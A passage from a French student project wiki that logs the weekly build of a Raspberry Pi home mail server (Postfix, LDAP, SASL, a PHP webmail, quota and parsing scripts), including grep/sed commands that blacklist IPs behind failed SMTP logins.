Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
&lt;br /&gt;
* Écriture du rapport intermédiaire&lt;br /&gt;
* Réalisation du support de soutenance&lt;br /&gt;
&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
&lt;br /&gt;
* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point&lt;br /&gt;
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation&lt;br /&gt;
&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Poursuite de la longue réécriture du code shell en perl.&lt;br /&gt;
&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut &amp;quot;pj&amp;quot; quand une pièce jointe est présente.&lt;br /&gt;
&lt;br /&gt;
Côté serveur : La complexité du script permettant l'extraction des informations des mails devenant trop importante, nous avons pris le parti de réécrire le code dans un langage un peu plus simple : le Perl. Il permettra d'éviter l'utilisation de (nombreuses) variables d'environnement, tout en proposant des performances accrues.&lt;br /&gt;
&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web :&lt;br /&gt;
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.&lt;br /&gt;
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)&lt;br /&gt;
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)&lt;br /&gt;
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans &amp;quot;Envoyés&amp;quot;, les mails reçus dans &amp;quot;Boite de réception&amp;quot;, manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas&lt;br /&gt;
&lt;br /&gt;
Côté serveur : Implémentation de la gestion des quotas. Quand un mail arrive, chaque destinataire voit son quota contrôlé pour déterminer si oui ou non le mail peut être délivré. Comme nous l'avions dit précédemment, postfix gère le rebond des mails grâce au code de terminaison du script. Or nous à priori il va falloir proposer une solution maison pour pouvoir le faire. En effet, si un mail est refusé pour cause de quota plein, le mail reçu est tout bonnement supprimé sans notifier ni le destinataire, ni l'envoyeur.&lt;br /&gt;
&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : &lt;br /&gt;
* Identification d'un administrateur ou simple utilisateur&lt;br /&gt;
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...&lt;br /&gt;
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte&lt;br /&gt;
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs. &lt;br /&gt;
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.&lt;br /&gt;
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers &amp;quot;.inc&amp;quot; : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.&lt;br /&gt;
&lt;br /&gt;
Côté serveur :&lt;br /&gt;
Mise en place d'un système de récupération des pièces jointes. Pour cela nous utiliserons la commande munpack du paquet mpack. Cette commande permet de décomposer un fichier mail pour notamment en récupérer les pièces jointes. De plus, après test et concertation, nous nous sommes rendu compte qu'il serait intéressant d'utiliser cette même commande pour extraire les messages des mails, évitant ainsi un chargement assez long sur l'interface graphique.&lt;br /&gt;
&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
Côté Web :&lt;br /&gt;
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.&lt;br /&gt;
* Suppression d'un compte : fonctionnelle&lt;br /&gt;
* Création d'un compte : fonctionnelle&lt;br /&gt;
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de lister les groupes existants : OK&lt;br /&gt;
* Création d'une fonction permettant de créer/supprimer un groupe : OK&lt;br /&gt;
&lt;br /&gt;
Au 10/02, on peut créer des comptes, les dossiers sont crées sur le système sans problème à réception d'un mail de bienvenue, on peut envoyer et recevoir des messages, donner les droits d'administrations, gérer la configuration du webmail depuis l'interface, gérer les utilisateurs et leurs attributs depuis l'interface, tout semble prêt relativement au cahier des charges initial. Nous allons migrer notre installation sur une autre IP et autre domaine.&lt;br /&gt;
&lt;br /&gt;
Côté serveur :&lt;br /&gt;
Croyant que les fonctionnalités demandées étaient implémentées, nous nous sommes rendu compte après tests que les mails envoyés d'un compte Intimail à un autre compte Intimail n'apparaissaient pas. Ceci était du au fait que le script utilisé n'était activé que lors de la réception d'un mail par le réseau (serveur smtp). Nous avons donc modifié la manière donc les mails sont passés au script, en ajoutant une règle dans &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt; :&lt;br /&gt;
 mailrte    unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/home/moth/Documents/pfe/postfix/json_parser.pl $queue_id $size $sender $recipient&lt;br /&gt;
Pas de grande nouveauté ici. Dans le fichier &amp;lt;code&amp;gt;main.cf&amp;lt;/code&amp;gt; :&lt;br /&gt;
 virtual_transport = mailrte&lt;br /&gt;
&lt;br /&gt;
Ces commandes passent TOUT les mails au script défini via l'entrée standard. C'est notre script qui doit alors se débrouiller pour délivrer les mails (précédemment, postfix se chargeait toujours d'écrire les fichiers). Encore une fois, nous avons donc dû modifier notre programme en conséquence.&lt;br /&gt;
&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
Nous avons migré la raspberry d'une IP interne au réseau Polytech vers une IP externe. La migration s'est passée sans aucun problème, le plus long étant d'attendre que les zones DNS se propagent (cela a bien pris 1 heure !). Nous sommes donc passés de 193.48.57.171 vers 5.23.44.85.&lt;br /&gt;
Nous émettons enfin des mails vers les serveurs extérieurs (en particulier Google Mail, Microsoft Live...). La théorie de départ que nos échecs d'envoi étaient dû aux restrictions du CRI s'est donc bien vérifiée : plus aucun problème juste en migrant.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalisation de la gestion des PJs : en cas de mail contenant une pièce jointe, un bandeau permet d'ouvrir chacune d'entre-elles dans un nouvel onglet. La pièce jointe en base 64 dans le fichier mail brut est reconstruite dans un dossier accessible au serveur web puis supprimée pour un gain de place (le fichier d'origine ou reconstruit est plus petit en taille que sa version encodée en base 64, on optimise donc ainsi le quota et l'espace disque).&lt;br /&gt;
&lt;br /&gt;
Corrections de bogues d'encodage des mails entre ISO et UTF8.&lt;br /&gt;
&lt;br /&gt;
Travail sur la création d'un paquet Debian.&lt;br /&gt;
&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
* Tournage de la vidéo du projet avec Laurent Engels du service Communication&lt;br /&gt;
* Fin de la rédaction du rapport final de PFE&lt;br /&gt;
* Rédaction du diaporama de présentation orale du PFE&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Code de l'interface + README expliquant le contenu : [http://projets-imasc.plil.net/mediawiki/images/7/73/Intimail.zip intiMail.zip]&lt;br /&gt;
&lt;br /&gt;
Code Perl du script pour Postfix : [http:/// Hold on a second]&lt;br /&gt;
&lt;br /&gt;
Fichier de configuration (Postfix/Lighttpd...) fonctionnels : [http:/// I'm on it, hold on]&lt;br /&gt;
&lt;br /&gt;
Guide d'installation (version seule, déjà inclus dans le rapport final) : [http://projets-imasc.plil.net/mediawiki/images/e/e0/Readme-Intimail.pdf Guide d'installation]&lt;br /&gt;
&lt;br /&gt;
Vidéo de Projet : [http:// Soon™] (Tournée le 22/02 10h avec Laurent Engels)&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=27612</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=27612"/>
				<updated>2016-02-23T10:32:42Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Fichiers Rendus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
